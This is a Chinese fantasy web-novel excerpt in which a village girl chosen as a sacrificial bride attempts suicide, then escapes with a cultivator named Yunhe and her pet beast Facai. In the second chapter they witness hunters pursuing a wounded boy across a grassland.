《花间境》
1. 白骨嫁衣
世界是由无数境组成的。
每一境都是独立的空间存在,自有其天道轮回,万物生灭。有些境大如星海,有些境小如芥子;有些境与人间相连,世代通婚,有些境却如孤岛悬于虚空,千百年无人踏足。
而我们的故事,始于一颗蓝色星球上的人间境。
人间有山,名曰南山。南山有顶,终年云雾缭绕,与世隔绝。山顶有一镇,名曰德德,镇中三百余户人家,世代耕种狩猎,春种秋收,夏忙冬藏,倒也自得其乐。
这年入夏,德德镇的气氛却与往年不同。
六月初十,陈瑶瑶蹲在自家屋檐下择菜,听见隔壁李婶家的母鸡被黄鼠狼拖走了,李婶的骂声隔着两道墙都震得耳膜嗡嗡响。她竖起耳朵听了一会儿,确认李婶没有提到自家那只总爱偷吃她绣花线的狸花猫,这才松了口气,继续低头择菜。
“瑶瑶!”
她娘周氏的声音从屋里传来,带着一种古怪的紧绷。
陈瑶瑶应了一声,端着菜筐进屋,却见堂屋里坐着三个人:村长陈大贵,祠堂管事陈四爷,还有镇上专管祭礼的周婆子。三人脸上挂着笑,那笑却像是用浆糊粘上去的,怎么看怎么别扭。
周氏站在一旁,脸色发白,手指绞着围裙边。
陈瑶瑶心里咯噔一下,手里的菜筐差点掉在地上。
“瑶瑶啊,”村长陈大贵清了清嗓子,“今年六月十六的雪桥仪式,镇上选了你。”
菜筐终究还是掉在了地上,青菜滚了一地。
“我?”陈瑶瑶指着自己鼻尖,声音都变了调,“您说的是我?陈瑶瑶?我八字——”
“你八字纯阳,”周婆子笑眯眯地接口,脸上的皱纹像是风干的橘子皮,“老身查了三遍,错不了。这可是天大的福分,你爹娘脸上有光,你们家往后在镇上的日子,那可就——”
“我不要。”
陈瑶瑶打断她,声音不大,却让屋里的笑声戛然而止。
陈大贵的脸色沉了下来。周氏慌忙上前拉住女儿,连声道:“村长别见怪,孩子小,不懂事——”
“我不小了,”陈瑶瑶甩开她娘的手,“我十六了,我知道雪桥仪式送出去的新妇是怎么回事。上了百花轿,四个男人四个女人跟着上山,最后只有男人下来。女人呢?女人去哪儿了?”
屋里静了一瞬。
周婆子的笑容僵在脸上,像一块干裂的泥巴。
陈四爷慢悠悠地开口:“瑶瑶啊,你生在这镇上,吃这镇上的粮,喝这镇上的水,受这镇上的供养。山神爷的恩情,你得还。”
“那你们呢?”陈瑶瑶看着他,“你们受的恩情,谁来还?”
陈四爷的脸色也变了。
周氏吓得魂飞魄散,一把捂住女儿的嘴,对三人赔笑:“这孩子这两天发热,烧糊涂了,说的都是胡话——”
“娘!”陈瑶瑶挣开她的手,眼眶通红,“你让我说!我不想死!我不想像去年的陈荷花、前年的王小满、大前年的赵招娣那样,上了山就再也没下来过!”
“她们下来了。”陈四爷的声音冷下来,“七天后自己回来的,这是镇上的规矩。”
“回来的是她们的魂吗?”陈瑶瑶盯着他,眼泪终于掉下来,“回来的是她们的人吗?赵招娣回来的时候我见过她,她——她眼睛里什么都没有了,像一具空壳子。然后呢?三天后回家,一个月后有身孕,生完孩子就死了。这叫福分?这叫恩情?”
“瑶瑶!”周氏厉声喝止她,手却在发抖。
陈大贵站起身,脸上的笑彻底没了:“陈瑶瑶,雪桥仪式是德德镇百年来的规矩,轮到你,是你的造化。你不去,你们家往后在镇上就甭想活了。你爹往后去镇上卖山货,没人会买;你弟弟往后想娶媳妇,没人会嫁。你自己想清楚。”
他说完,拂袖而去。
陈四爷和周婆子跟着起身,经过陈瑶瑶身边时,周婆子低声说了一句:“孩子,认命吧。德德镇的姑娘,都是这么过来的。”
门在身后关上。
陈瑶瑶站在堂屋中央,青菜散落一地,像是谁家办丧事撒的纸钱。
周氏捂着嘴哭起来,哭声压抑而绝望。
陈瑶瑶的爹陈老实从里屋出来,这个一辈子老实巴交的男人佝偻着背,看了女儿一眼,嘴唇动了动,最终什么都没说,蹲在门槛上抽起了旱烟。
烟雾缭绕中,陈瑶瑶看见他鬓角的白发,忽然就哭不出来了。
六月十五。
这一夜,德德镇灯火通明。
镇头搭起了百花轿,各色绸缎扎成的花朵堆满了轿身,在月光下显得艳丽而诡异。四男四女已经选好,都是镇上身强力壮的年轻人,此刻正围着篝火喝酒吃肉,笑闹声传遍半个镇子。
陈瑶瑶被关在祠堂的偏院里,等着明日一早梳妆上轿。
院子不大,一间正屋,一间厢房,厢房里住着两个守夜的婆子。说是守夜,其实是看着她,怕她跑了。德德镇四面都是悬崖,只有一条下山的路,那条路今晚有人守着,插翅难飞。
陈瑶瑶坐在正屋的床上,盯着窗外的月光出神。
床是新铺的,被褥是大红的,绣着鸳鸯戏水。桌上摆着铜镜、梳子、胭脂水粉,还有一套叠得整整齐齐的新娘嫁衣。嫁衣也是大红的,红得像血。
她忽然想笑。
德德镇的姑娘,一辈子就穿这么一次红。穿上红,上花轿,上山,下山,然后穿白。穿白的人躺在棺材里,穿红的人躺在棺材外。一辈子,就这一回。
她站起来,走到桌边,拿起那套嫁衣。
料子是好料子,丝绸的,滑腻冰凉,像蛇的皮肤。她用手指摩挲着,忽然想起小时候听过的故事:山神爷喜欢穿红衣裳的新娘子,所以每年都要送一个上去。新娘子要是穿得不好看,山神爷会生气,明年镇上就会遭灾。
“什么山神爷,”她喃喃道,“分明是个吃人的妖怪。”
门突然被推开。
陈瑶瑶吓了一跳,嫁衣掉在地上。她慌忙弯腰去捡,却见进来的是她娘周氏。
周氏端着个食盒,眼睛红肿着,显然哭过。她把食盒放在桌上,打开,里面是一碗面,卧着两个荷包蛋,上面还飘着葱花。
“吃吧,”周氏声音沙哑,“娘做的,你最爱吃的鸡蛋面。”
陈瑶瑶看着那碗面,鼻子一酸,眼泪又涌了上来。她拼命忍着,不想在她娘面前哭,可眼泪不听使唤,一颗一颗往下掉,砸在碗里,砸出小小的涟漪。
周氏伸手,把她揽进怀里。
“瑶瑶,娘的瑶瑶……”周氏的声音抖得厉害,“娘对不起你,娘没本事,护不住你……”
陈瑶瑶趴在她娘怀里,闻着她身上熟悉的味道,终于忍不住放声大哭。她哭得像个孩子,像是小时候摔了跤、丢了绣花针、被弟弟抢了糖时那样,毫无顾忌地嚎啕大哭。
周氏拍着她的背,一下一下,温柔而绝望。
哭够了,陈瑶瑶抬起头,擦了擦眼泪,端起碗开始吃面。她吃得很快,像是赶时间,像是怕面凉了,又像是怕自己一会儿就吃不下去了。
周氏看着她,眼泪又流了下来。
吃完面,周氏收拾碗筷,临走时从怀里摸出一个小布包,塞进陈瑶瑶手里。
“这是什么?”
“你姥姥留给我的,”周氏压低声音,“说是能辟邪。娘没什么能给你,就这个了。”
陈瑶瑶打开布包,里面是一小块骨头,不知道是什么动物的,磨得光滑圆润,上面刻着一些她看不懂的符文。
“娘——”
周氏摆摆手,不让她说下去,转身快步走了。门在身后关上,脚步声渐渐远去。
陈瑶瑶握着那块骨头,站在窗前,看着月亮一点一点往西挪。
不知过了多久,她忽然动了。
她走到桌边,拿起那面铜镜,对着自己照了照。镜子里的人眼眶红红的,头发散乱,像个女鬼。她把铜镜放下,又拿起梳子,一下一下,慢慢梳头。
梳完头,她开始脱衣服,换上那套大红嫁衣。嫁衣很合身,像是比着她的尺寸做的。她系好盘扣,理平褶皱,然后对着镜子,给自己上妆。
胭脂,水粉,眉黛。
一点一点,仔仔细细。
铜镜里的人渐渐变了模样,眉眼依旧是她,却又不像她。像谁呢?像去年的陈荷花?前年的王小满?大前年的赵招娣?
像每一个穿上红嫁衣的德德镇姑娘。
化完妆,她站起来,走到屋中央,仰头看着房梁。
房梁是木头搭的,很结实。
她搬来凳子,站上去,把腰带解下来,甩过房梁,打了个死结。
然后她把脖子伸进去,闭上眼睛。
“娘,”她轻轻说,“女儿不孝。”
凳子翻倒的声音很响。
厢房里传来婆子的惊呼声,脚步声杂沓而来。陈瑶瑶听见有人在尖叫,有人在喊“快救人”,有人在骂“这个死丫头”。但这些声音越来越远,越来越模糊,像是隔着一层厚厚的水。
她的意识开始涣散。
最后闪过脑海的念头是:原来死是这样子的,不疼,就是有点冷。
然后,一切归于黑暗。
陈瑶瑶是被花香唤醒的。
那是一种清清淡淡的味道,像是春日清晨的桃花,带着露水的气息,若有若无地飘进鼻端。她吸了吸鼻子,觉得这味道好闻极了,比德德镇每年春天漫山遍野的野桃花还要好闻。
她睁开眼。
入目的是一片粉白色的云霞。
那是桃花。千树万树的桃花,层层叠叠地开着,从脚下一直延伸到天边。花瓣随风飘落,纷纷扬扬,像是下着一场永远不会停的花雨。
陈瑶瑶愣住了。
她记得自己刚才——不,不是刚才,是不知道多久以前——她记得自己把脖子伸进了腰带里,记得凳子翻倒的声音,记得那些尖叫和喊声。可她现在躺在这里,躺在一片柔软的草地上,身上穿着那套大红嫁衣,却没有一点不适。
“我死了吗?”她喃喃道。
没有人回答她。
她坐起来,环顾四周。
这是一片桃林。桃树长得极好,枝干虬结,花开得密密匝匝。地上落满了花瓣,厚厚的一层,踩上去软绵绵的,像是踩在云朵上。
远处有一座小山,山上隐约可见亭台楼阁,但被花枝遮挡着,看不真切。
她正看得出神,忽然听见一声细细的呜咽。
那声音很轻,像是小兽的哀鸣,从桃林深处传来。陈瑶瑶心里一紧,循声找过去。
穿过几株桃树,她看见了一株特别粗壮的老桃树。那桃树的树干要两三个人才能合抱,树冠遮天蔽日,花开得比别的树都要艳,是一种近乎血色的深红。
老桃树的根部蜷缩着一团小小的东西。
陈瑶瑶走近一看,是一只小兽。
那小家伙只有巴掌大小,通体奶黄色,毛茸茸的一团。它的头小小的,两只耳朵却大得出奇,软软地垂在脸侧,像是兔子的耳朵。一双黑葡萄似的眼睛湿漉漉的,正可怜巴巴地望着她,粉色的鼻子上挂着细细的血丝。
“哎呀,”陈瑶瑶心疼得不行,忙蹲下来,用袖子轻轻给它擦鼻子上的血,“小可怜,怎么流了这么多血?”
小兽乖乖地让她擦,眼睛一眨不眨地盯着她,喉咙里发出细细的呜咽声。
陈瑶瑶擦干净血迹,把它抱起来。小家伙轻得像一团棉花,温热的,在她怀里微微发抖。她用指腹轻轻抚过它的脊背,一下一下,安抚着它。
“你是走丢了吗?”她小声问,“你的主人呢?”
小兽舔了舔她的手指,呜了一声。
陈瑶瑶忍不住笑了。她已经很久没有笑过了,笑的时候觉得脸颊有点僵,像是忘了该怎么笑。但这一刻,抱着这团暖烘烘的小东西,她忽然觉得,死了好像也没那么可怕。
头顶忽然吹过一阵清风。
那风来得蹊跷,桃林里原本一丝风也没有,这阵风却像是凭空生出来的,带着一股凛冽的寒意,吹得桃花簌簌落下。
陈瑶瑶抬起头。
一柄伞正从空中缓缓落下。
那伞通体素白,伞骨不知是什么做的,隐隐透着玉色的光泽。伞面垂下细细的流苏,流苏的末端缀着小小的骨珠,随着伞的转动轻轻碰撞,发出清脆的响声,像是远山寺庙里的风铃。
伞下是一个蓝衣女子。
她落在陈瑶瑶面前三步远的地方,脚尖点地,没有一丝声响。伞微微抬起,露出她的下半张脸——下巴尖尖的,皮肤白得像纸,几乎透明,能看见下面淡青色的血管。嘴唇是淡淡的粉色,像是桃花瓣的颜色。
那柄白骨伞缓缓合上,流苏叮当作响。
陈瑶瑶吓得一屁股坐在地上,怀里却把小兽抱得更紧了。
蓝衣女子的整张脸露了出来。那是一张极年轻的脸,约莫十七八岁的样子,眉眼清冷,像是山巅终年不化的积雪。她穿着一身层层叠叠的蓝白纱衣,衣上绣着隐隐的花纹,走动时裙摆如云雾般散开,露出下面一双赤足,脚踝上系着一根红绳。
她看着陈瑶瑶,开口了。
声音清清冷冷的,像是冰珠子掉在玉盘里:
“可有未了之愿?”
陈瑶瑶浑身一颤,眼泪不受控制地涌了出来。
“你你你——”她的牙齿打颤,上下磕得咯咯响,“你是白无常吗?我我我已经死了?我——”
蓝衣女子微微蹙眉,打断她:“我问,可有未了之愿?”
陈瑶瑶愣愣地看着她,脑子里一片空白。
蓝衣女子等了三息,不见她回答,眉头蹙得更紧了些:“我问你话,你答便是。可有未了之愿?”
陈瑶瑶的脑子终于开始转动。
未了之愿?她当然有。她不想死,不想嫁,不想被送到山神爷那里去,不想成为下一个陈荷花、王小满、赵招娣——
“我不想死,”她脱口而出,“我不想嫁人,我想离开南山,离开德德镇,越远越好。”
蓝衣女子沉默了一瞬。
然后她点了点头:“算你三个问题回答了。将发财放下,明日你的愿望自会实现。”
陈瑶瑶愣住了。
三个问题?她什么时候回答了三个问题?她明明只答了一个——
等等。
“可有未了之愿?”这是第一个问题。
她答了“我不想死”那一串,算第二个问题。
然后——
“我问你话,你答便是。”这是第三个问题?
陈瑶瑶觉得自己脑子不够用了。她张了张嘴,想问点什么,却听蓝衣女子说“将发财放下”——发财是谁?
她低头看了看怀里的小兽。
小兽正瞪着一双黑葡萄眼睛,眼巴巴地望着蓝衣女子,喉咙里发出细细的呜咽声。
“发财?”陈瑶瑶指着小兽,“它是发财?”
“不然呢?”蓝衣女子看了她一眼,“你叫发财?”
陈瑶瑶慌忙把小兽放在地上。小家伙一落地,立刻跌跌撞撞地朝蓝衣女子扑过去,一口咬住她的衣角,用力撕扯起来。
“发财!”蓝衣女子终于绷不住了,清冷的脸涨得微红,一把将衣角从小兽嘴里夺回来,“这是我最后一套能见人的衣服了!再这样败家我真的养不起你了!”
小兽不依不饶,又扑上去咬。
蓝衣女子手忙脚乱地躲,衣摆被扯得乱七八糟,头上的簪子也歪了,几缕碎发散落下来,衬着那张气急败坏的脸,终于有了一点活人该有的样子。
陈瑶瑶看着这一幕,忽然觉得这个“白无常”好像没那么可怕了。
她小心翼翼地开口:“那个……你、你是传闻中的白骨大仙吗?就是那个救苦救难、替人消灾的白骨大仙?”
蓝衣女子终于把小兽从衣角上摘下来,抱在怀里顺了顺毛,这才抬起头,微微整理了一下鬓角,轻咳一声:“额,算是吧。我有名字,叫云河。帮你完成心愿,你得给我报酬。”
陈瑶瑶的崇拜泡泡“啪”地碎了。
“啊?还要报酬?”
“怎么?”云河挑起眉,“你找人干活不用发工钱的?天底下有这等好事?”
陈瑶瑶嘀咕:“不是说救苦救难活菩萨嘛……”
“你是不是耳背?”云河甩了甩头发,层层叠叠的白纱白花下,炸毛的碎发又窜了出来,“我说的是‘活泼洒’,活菩萨有什么意思,当然是活泼洒更好。给不给报酬
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她说着,作势要走。
陈瑶瑶赶紧爬起来,一把拽住她的袖子:“给给给!你要什么我都给!只要你能让我离开德德镇,离开那个鬼地方——”
云河低头看了看被她拽住的袖子,又抬头看了看她。
陈瑶瑶这才反应过来自己做了什么,慌忙松开手,讪讪地笑。
云河倒也没恼,竖起一根指头:“一斤狗粮。”
陈瑶瑶:“?”
她怀疑自己听错了。
“狗粮?”她重复了一遍,“你要狗粮?”
“对。”云河点头,“要好的,不要掺玉米面的那种。我家发财挑食,掺了玉米面的不吃。”
她说着,低头看了一眼怀里的小兽。小家伙正缩在她臂弯里,两只大耳朵垂下来,盖住了大半张脸,乖巧得像一团毛球。
陈瑶瑶看看小兽,又看看云河,忽然有点想笑。
传说中能替人消灾解难的白骨大仙,要的报酬居然是一斤狗粮。
这传出去,有人信吗?
“行,”她点头,“我给你买。可是——”
她顿了顿,环顾四周的桃林:“这里是哪儿?我真的死了吗?明天我的愿望真的能实现吗?”
云河没有回答她的问题,只是说:“时辰到了,你该醒了。”
她抬起手,袖中飞出一串细小的骨珠,绕着陈瑶瑶转了三圈。陈瑶瑶只觉得眼前一阵眩晕,桃林、云河、小兽都开始变得模糊,像是被水浸透的画,一点一点晕开。
“等等——”她伸出手,想要抓住什么,“你还没告诉我——”
“明日醒来,你便不在德德镇了。”云河的声音远远传来,像是隔着千山万水,“记得我的狗粮,一斤,不要掺玉米面。”
最后的声音消失在黑暗中。
陈瑶瑶是被一阵剧烈的摇晃晃醒的。
“瑶瑶!瑶瑶!”
有人在叫她,声音又尖又急,像是有人在拿针扎她的耳膜。她皱着眉睁开眼,入目的是一张放大的脸——周婆子的脸。
那张干枯的脸凑得极近,浑浊的眼珠子直直地盯着她,嘴里喷出的气息熏得她几乎作呕。
“醒了醒了!”周婆子直起身,对身后的人说,“没事,就是晕过去了,还活着。”
陈瑶瑶这才发现自己躺在地上,周围围了一圈人。有周婆子,有陈四爷,有两个守夜的婆子,还有几个她不认识的妇人。
房梁上的腰带已经不见了,凳子歪倒在一旁。
她没死成。
这个认知让她心里一阵发凉。
“这孩子,年纪轻轻想不开,”周婆子摇头叹气,“雪桥仪式是多大的福分,别人求都求不来,她倒好,寻死觅活的。”
“行了行了,”陈四爷摆摆手,“人没事就行。天快亮了,赶紧给她收拾收拾,一会儿花轿就要来了。”
他说完转身走了。周婆子和几个妇人上来,七手八脚地把陈瑶瑶从地上拽起来,按在椅子上,开始给她梳头洗脸,重新上妆。
陈瑶瑶像一具木偶一样任她们摆弄,脑子里却一直在想刚才那个梦。
那是梦吗?
那么清晰的桃林,那么真实的触感,那只叫发财的小兽,那个叫云河的白骨少女——还有她说的话:“明日醒来,你便不在德德镇了。”
明天,不就是今天吗?
今天就是六月十六,雪桥仪式的日子。
她真的能离开吗?
“好了。”周婆子的声音打断了她的思绪,“盖上盖头,等着吧。”
一方大红盖头落下来,遮住了她的视线。她只能从盖头下面看见自己的一双脚,穿着新绣的绣花鞋,鞋尖上绣着并蒂莲。
外面传来锣鼓声,越来越近。
“花轿来了!”有人在喊。
陈瑶瑶被人搀起来,架着往外走。她的脚像是踩在棉花上,软绵绵的,使不上一点力气。周围人声嘈杂,有笑声,有吆喝声,有小孩子跑来跑去的脚步声。
她被塞进了花轿里。
轿身晃了晃,然后平稳地抬了起来。锣鼓声震天响,夹杂着鞭炮的噼啪声,热闹得像过年。
陈瑶瑶坐在轿子里,攥紧了手里的那块骨头——她娘给她的那块。这是她身上唯一一件属于自己的东西了。
轿子一路往镇头走,走了很久。
然后停下来。
“新妇下轿——”
有人掀开轿帘,把她扶出来。盖头遮着眼,她什么都看不见,只能看见脚下的路——青石板铺的路,一直往前延伸。
路两边站满了人。
她能看见他们的脚——穿草鞋的脚,穿布鞋的脚,小孩子光着的脚丫子。那些脚密密地排着,一直排到路的尽头。
“雪桥仪式开始——”
一个苍老的声音响起,是陈四爷。
陈瑶瑶被推着往前走。一步,两步,三步。她不知道自己走了多久,只知道脚下的青石板路渐渐变成了泥土路,然后变成了石板路,最后变成了一种她从未踩过的路面——冰凉、光滑,像是冰块。
雪桥。
这就是雪桥。
南山之顶从不下雪,但每年六月十六,山上会凭空出现一座雪桥。没有人知道雪桥是怎么来的,只知道它通往山顶的某个地方,那是山神爷的居所。
新妇要走过雪桥,走进山神庙,在那里待上七天七夜。随行的四男四女会在桥头等候,七天后新妇自己回来。
至于那七天里发生了什么,没有人知道。新妇回来后从不开口,问什么都不说。
陈瑶瑶踩在雪桥上,脚底传来刺骨的寒意。那寒意顺着脚底往上窜,穿过脚踝,小腿,膝盖,一路窜到心口。
她的牙齿开始打颤。
不是冷,是怕。
“走啊。”身后有人推了她一把。
她踉跄了一步,往前走了几步。
雪桥很长,长得好似没有尽头。她走了很久很久,久到身后的锣鼓声听不见了,久到脚底已经完全失去了知觉。
然后,她听见了一个声音。
那声音很轻,像是什么东西在雪地上行走的沙沙声。
陈瑶瑶僵住了。
盖头下面,她看见了一双脚。
那双脚赤着,雪白雪白,脚踝上系着一根红绳。
她猛地掀开盖头。
面前站着一个蓝衣少女,手里撑着一柄白骨伞,伞下流苏叮当作响。
云河。
陈瑶瑶张了张嘴,想说话,却发现自己一个字都说不出来。
云河看着她,嘴角微微翘起,露出一丝淡淡的笑意——那笑意很浅,浅到几乎看不见,却让她的整张脸都生动了起来。
“来得挺快,”她说,“我还以为要等一会儿。”
她伸出手,把陈瑶瑶拉到自己身边。
雪桥的尽头,不是什么山神庙,而是一片虚空。
虚空中漂浮着无数光点,有大有小,有明有暗,像是散落在黑丝绒上的宝石。
“这就是万境。”云河说,“每一粒光,就是一个境。”
她抬手一指:“那一颗蓝色的,是你来的人间境。那一颗淡粉色的,是我的桃花境。你刚才做梦的时候,就在那里。”
陈瑶瑶愣愣地看着那些光点,脑子里一片空白。
“你、你到底是什么人?”
云河回头看她,眼中有星光闪烁。
“我是云河,”她说,“一个到处替人消灾、顺便赚点狗粮的修者。”
她顿了顿,笑容里多了一丝狡黠。
“欢迎来到万境之外。从现在开始,你的愿望实现了。”
陈瑶瑶张着嘴,看着那片浩瀚的星海,忽然不知道该说什么。
远处的虚空中,隐约传来一声小兽的呜咽,奶声奶气的,像是催促,又像是欢迎。
云河撑起白骨伞,伞面遮住了漫天的星光。
“走吧,”她说,“带你去看看真正的世界。”
陈瑶瑶深吸一口气,握紧了手里的那块骨头,迈出了第一步。
身后,雪桥无声地消散。
前方,万境如海,星光如潮。
她的新人生,从这一刻开始。
2. 裳国童祭
陈瑶瑶是被一阵风唤醒的。
那风不同于寻常,带着青草被碾压后迸发的鲜冽气息,混着泥土的潮润,直往鼻子里钻。她睁开眼,入目的不是桃林,也不是雪桥尽头的虚空星海,而是一片望不到边际的草原。
草叶极高,高过她的头顶。清晨的阳光从草叶的缝隙里漏下来,碎成千万片金箔,落在她脸上、手上、衣裳上。她躺在一片被人为压平的草窝里,身下垫着柔软的长草,比德德镇任何一床棉褥都要舒服。
“这是哪儿?”她喃喃道。
没人回答。
她坐起来,环顾四周。草海随风起伏,一波一波的绿浪涌向天边。远处隐约有山的轮廓,青黛色的,像是谁用淡墨在天边抹了一笔。
身边空无一人。
云河呢?发财呢?
陈瑶瑶心里一慌,正要喊,忽然听见不远处传来一声咆哮——
“发财!!!又吃屎是不是!!!”
那声音中气十足,带着三分愤怒、三分崩溃,还有四分生无可恋,正是云河。
陈瑶瑶愣住。
她循声找过去,拨开几丛高草,就看见了这一幕——
云河蹲在地上,一身蓝白纱衣已经换成了简单的月白布衣,此刻正把一只奶黄色的小兽摁在腿上。那小兽正是发财,两只大耳朵耷拉着,眼神闪躲,不敢看人,嘴巴却还在不住地咂摸,一副意犹未尽的样子。
云河从腰间熟练地掏出一方手帕,掀开发财毛茸茸的尾巴,开始给它擦屁股。
动作行云流水,一气呵成,显然是惯犯。
陈瑶瑶:“…………”
她不知道该说什么,手里的东西却先一步掉了——那是她早上不知什么时候摘的几颗黄色野果,圆滚滚的,骨碌碌滚了一地。
云河抬起头,看了她一眼。
陈瑶瑶慌忙蹲下去捡果子,一边捡一边下意识脱口而出:“额,它还会吃屎啊……”
说完,她僵住了。
这话怎么听怎么不对劲。
云河没理她,又从腰间摸出一个巴掌大的小瓶子,拔开塞子,往发财屁股上滴了一滴。一股清冽的香味顿时弥散开来,沁人心脾,瞬间盖过了草原上原本的气息。
陈瑶瑶吸了吸鼻子,由衷地感叹:“哎,好香啊。”
云河抬眼瞅过来,没开口,但满眼都是疑惑:你盯着狗屁股说好香?
陈瑶瑶反应过来,脸腾地红了,慌忙解释:“我是说你那小瓶里装的——我不是说它屁股——我不是那个意思——”
云河手指一弹,那小瓶径直朝陈瑶瑶飞来。
陈瑶瑶下意识接住,入手微凉,瓶子是玉质的,温润细腻,上面刻着几朵小小的杏花。
“夏荷月半的露水,”云河把发财丢在脚边,站起身伸了个懒腰,骨头噼啪作响,“放在冰窟里冷冻三个月,再自然融化,点缀杏花瓣,碾出汁水,够用半年。这瓶我刚开,你喜欢送你了。”
陈瑶瑶捧着瓶子,受宠若惊:“这怎么好意思,我——”
云河忽然神色一凝,抬手打断她:“附近有人。噤声。”
陈瑶瑶赶忙捂住嘴巴。
云河撑开背后的白骨伞,那伞在她手中转了个半圈,伞面上的骨珠流苏哗啦啦作响。她持伞在空中虚画一圈,一道淡蓝色的光圈凭空出现,将两人一兽罩在其中。
光圈的边缘如水波般晃动了几下,然后彻底隐去。
陈瑶瑶只觉得周围的气息变了,明明还站在原地,却像是被一层看不见的薄膜与外界隔开。她能看见草叶在风中摇摆,能听见远处的鸟鸣,但她知道,别人看不见她。
杂沓的脚步声由远及近。
陈瑶瑶透过草叶的缝隙望出去,看见一个人正朝这边狂奔。
那是个少年,约莫十五六岁的样子,半身浴血。他的左手不自然地垂着,显然断了,右手握着一柄短剑,剑刃上满是血迹,豁口累累,不知经过了多少场恶战。他的脸色惨白,嘴唇毫无血色,但一双眼睛却亮得惊人,燃烧着某种近乎疯狂的光芒。
他的身后,追着一群灰衣人。
那些人身穿兽皮缝制的短褐,腰缠粗藤,手持镰刀、绳索、猎叉,分明是一群猎户。但他们追的不是野兽,而是人。
“抓住他!!绝不能让这个魔神逃了!!!”
为首的猎户一声暴喝,抡起手臂,一柄镰刀脱手飞出,在空中划出一道寒光,狠狠扎进少年的背心。
少年的身体剧烈一震。
他没吭一声。
甚至没有回头看一眼。
他只是踉跄了一下,然后继续往前跑。那柄镰刀插在他背上,随着奔跑的动作一晃一晃,血顺着刀柄往下淌,滴在草地上,留下一条断续的红线。
又一个猎户甩出绳索。绳子在空中扭动如蛇,精准地套住了少年的脖子,狠狠一拉。
少年侧身摔倒,在地上滚了几滚,被拖拽着滑行了一丈多远。
猎户们欢呼起来:“抓住了!!!”
他们蜂拥而上,将少年团团围住。有人踢他,有人踹他,有人往他脸上啐唾沫。少年蜷缩在地上,一动不动,像一只被猎夹夹住的困兽。
陈瑶瑶的手攥紧了。
她不知道这少年是谁,不知道他做了什么,但她看见他背上的镰刀,看见他脖子上的绳索,看见他满身的血——她想起了自己。
想起被关在祠堂偏院的那一夜,想起房梁上的腰带,想起那些围着她、按着她、逼着她上花轿的人。
她的身体先于意识动了。
“别急。”
一只手按在她肩上,力道不大,却让她动弹不得。
云河不知何时站到了她身侧,那双清冷的眼睛望着远处的混乱,没有一丝波澜。
“可是——”陈瑶瑶急了,“他们要把那孩子打死了!”
“再等等。”
云河的声音很淡,像是在说今天天气不错。
陈瑶瑶想挣开她的手,却发现自己根本挣不动。那只手看起来纤细白净,按在她肩上却像一座山,压得她动弹不得。
就在这时,变故突生。
一个小小的黑影从路旁的大树上纵身跃下。
那是个孩子。
七八岁大的孩子,瘦瘦小小的,穿着破烂的衣裳,脸上脏兮兮的看不清五官。他的动作却快得像一只猴子,落地时几乎没有发出声音,手里攥着一团灰扑扑的东西。
猎户们还没反应过来,那孩子已经把手里的东西抛了出去。
那东西在空中散开,竟是一张巨大的渔网。
渔网从天而降,将十几个猎户兜头盖脸地罩住。他们猝不及防,被网缠得东倒西歪,有人摔倒,有人挣扎,有人破口大骂。谁知那网越挣扎越紧,粗粝的麻绳勒进皮肉,把一群人捆成了粽子。
小孩面无表情,拖着渔网的一头飞快地在树间穿梭。他的动作极快,绳子在他手里像是活的一样,绕着树干左缠右绕,一圈两圈三圈,越缠越复杂,越缠越紧。
猎户们骂声震天,污言秽语不绝于耳。
小孩充耳不闻。
他缠完最后一个结,走到被勒住脖子倒在地上的少年身边,弯腰解开他脖子上的绳索,然后费力地把少年往自己背上绑。少年比他高出一个头,绑上去像背着一座小山,他的小身板晃了晃,差点摔倒,却硬是咬紧牙关站稳了。
然后,他背着少年,蹭蹭蹭窜上了树。
那棵树极高,树干笔直光滑,寻常人爬都爬不上去。小孩却像只壁虎,手脚并用,眨眼间就消失在浓密的树冠里。
陈瑶瑶看得目瞪口呆。
“他们——他们居然反败为胜了?”
云河微微摇头:“未必。”
果然,那渔网虽紧,却并不牢固。猎户们手上有镰刀有猎叉,割了没一会儿就把网割开了一个大口子。最先钻出来的是个裹着红色头巾的大汉,虎背熊腰,腰间挂着空的箭囊,显然是这伙人的头领。
他扭了扭被勒出红印的胳膊,喷了口粗重的鼻息。
“老大,还追吗?”一个胡子大汉问。
红巾大汉抬头看了看那棵大树,树冠茂密,遮天蔽日,根本看不见上面的情形。他的目光阴沉,像是在盘算什么。
“不必了。”他最终说,“他既然敢出现,国主那边自有定夺。走,回去禀告。”
他一挥手,带着众猎户如来时一样,呼啦啦走了。
草原重新安静下来。
风吹过,草叶沙沙作响,掩去了血迹,掩去了足迹,像是什么都没发生过。
等那群人的身影彻底消失在天边,云河才收起骨伞。
淡蓝色的光圈散去,草原的气息重新涌来。陈瑶瑶深深吸了一口气,却觉得那青草味里混着若有若无的血腥气,让她胃里一阵翻腾。
“白骨大仙,”她扯住云河的袖子,“我们要不要帮帮那两个孩子?那个小的那么小,背着那么大一个人,能跑多远?万一被追上——”
“他可有求助?”
云河回过头看她,眼神平静得像一潭死水。
陈瑶瑶一愣:“啊?”
“我问你,”云河一字一字说,“那孩子,可曾向你求助?”
陈瑶瑶张了张嘴,回想刚才的情形。那孩子从出现到消失,从头到尾没有看过她们藏身的方向一眼,没有喊过一声救命,没有露出过一丝寻求帮助的神情。
“没、没有。”她讷讷道。
“既未求助,”云河收回目光,“又不知事情原委,别乱帮忙。”
她转身往草海深处走去,走了几步,又停下来,侧过头补了一句:
“这世上,不是所有被追杀的,都是无辜之人。也不是所有追杀的,都是恶人。”
陈瑶瑶愣在原地,看着她的背影,忽然觉得这个看起来比自己还年轻的少女,身上有一种说不清的东西。
那是一种很沉的东西。
沉得像德德镇那些活了几十年的老人,看透了生死,看透了人心,什么都不在意了。
可她又分明不是什么都不在意。她会给发财擦屁股,会心疼自己最后一套能见人的衣服,会把价值不知几何的花凝露随手送人。
她到底是个什么样的人?
“愣着干什么?”云河的声音远远传来,“再不走,天黑了露宿草原,被狼叼走我可不救你。”
陈瑶瑶回过神,连忙追上去。
发财从草丛里钻出来,颠颠地跟在她脚边,两只大耳朵一甩一甩的,乖巧得像只兔子。陈瑶瑶低头看它,忍不住想起它刚才吃屎的样子,嘴角抽了抽。
“发财,”她小声说,“你主人那么香喷喷的一个人,怎么养出你这么个……这么个……”
发财抬起头,用那双黑葡萄似的眼睛无辜地看着她。
陈瑶瑶败下阵来:“算了,你可爱,你说了算。”
发财满意地呜了一声,继续颠颠地跑。
夜幕降临得很快。
